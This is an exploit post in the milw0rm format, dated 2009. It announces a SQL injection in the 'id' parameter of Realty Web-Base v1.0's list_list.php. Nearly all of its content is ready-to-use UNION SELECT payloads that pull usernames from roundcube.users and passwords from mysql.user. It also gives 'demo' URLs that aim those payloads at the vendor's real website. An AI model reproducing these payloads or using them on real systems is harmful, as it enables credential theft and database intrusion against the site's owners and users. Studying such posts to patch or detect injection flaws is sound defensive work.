30 lines
No EOL
1.1 KiB
Text
30 lines
No EOL
1.1 KiB
Text
---------------------------------------------------------------
|
|
------------------------------------------------------------
|
|
Realty Web-Base v1.0 (list_list.php id) SQL Injection Vulnerability
|
|
---------------------------------------------------------------
|
|
Founder : ThE g0bL!N
|
|
Home:WwW.h4ckF0u.CoM
|
|
Vendor:http://www.realtywebware.com
|
|
---------------------------------------------------------------
|
|
---------------------------------------------------------------
|
|
SQL Injection Vulnerability
|
|
------------------------------------------------
|
|
Exploit F0r user:
|
|
-----------------
|
|
list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--
|
|
Exploit For Pass:
|
|
----------------
|
|
list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--
|
|
--------------------------------------
|
|
Dem0
|
|
----
|
|
user:
|
|
-----
|
|
http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--
|
|
pass:
|
|
----
|
|
http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--
|
|
--------------------------------------
|
|
Greeting To ALL My Friends (Dz)
|
|
|
|
# milw0rm.com [2009-05-20] |